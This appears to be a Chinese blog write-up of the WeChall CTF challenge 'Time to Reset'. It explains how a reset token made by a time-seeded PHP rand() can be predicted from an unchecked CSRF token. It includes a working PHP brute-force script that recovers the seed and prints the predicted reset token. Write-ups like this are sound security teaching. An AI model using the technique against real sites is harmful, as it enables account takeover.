Time to Reset

Posted by rk700 on June 18, 2014

http://www.wechall.net/challenge/time_to_reset/index.php
最初的想法还是和注入有关,试了几次发现邮件地址不能包含特殊字符……

再从头开始看代码,发现了不自然的地方:
提交email的表格里有CSRF的token,感觉似乎在见过的题目里并不常见;其实这也还说得过去,但是token的生成方式太可疑了,用的是和reset token同样的函数;更可疑的是,CSRF token只是生成了,并没有任何对其的检查来防范CSRF。所以这个是用来让我们暴力srand的seed的

首先生成32位的CSRF token,然后是16位的rest token。于是我们可以暴力破解,而time()的值可以从RFI那题里得到

下面是用来破解的代码, ttr_random函数就直接用题里的代码

<?php
function ttr_random($len, $alpha='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
{
    $alphalen = strlen($alpha) - 1;
    $key = '';
    for($i = 0; $i < $len; $i++)
    {
        $key .= $alpha[rand(0, $alphalen)];
    }
    return $key;
}

$time=1403111639;
for($i=0; $i<255; $i++) {
    srand($time+$i);
    $csrf=ttr_random(32);
    $real='BLQChCcpFPZoACf9VpoeKEes4k2BpeDR';
    if($csrf === $real) {
        echo ttr_random(16).PHP_EOL;
    }
}
?>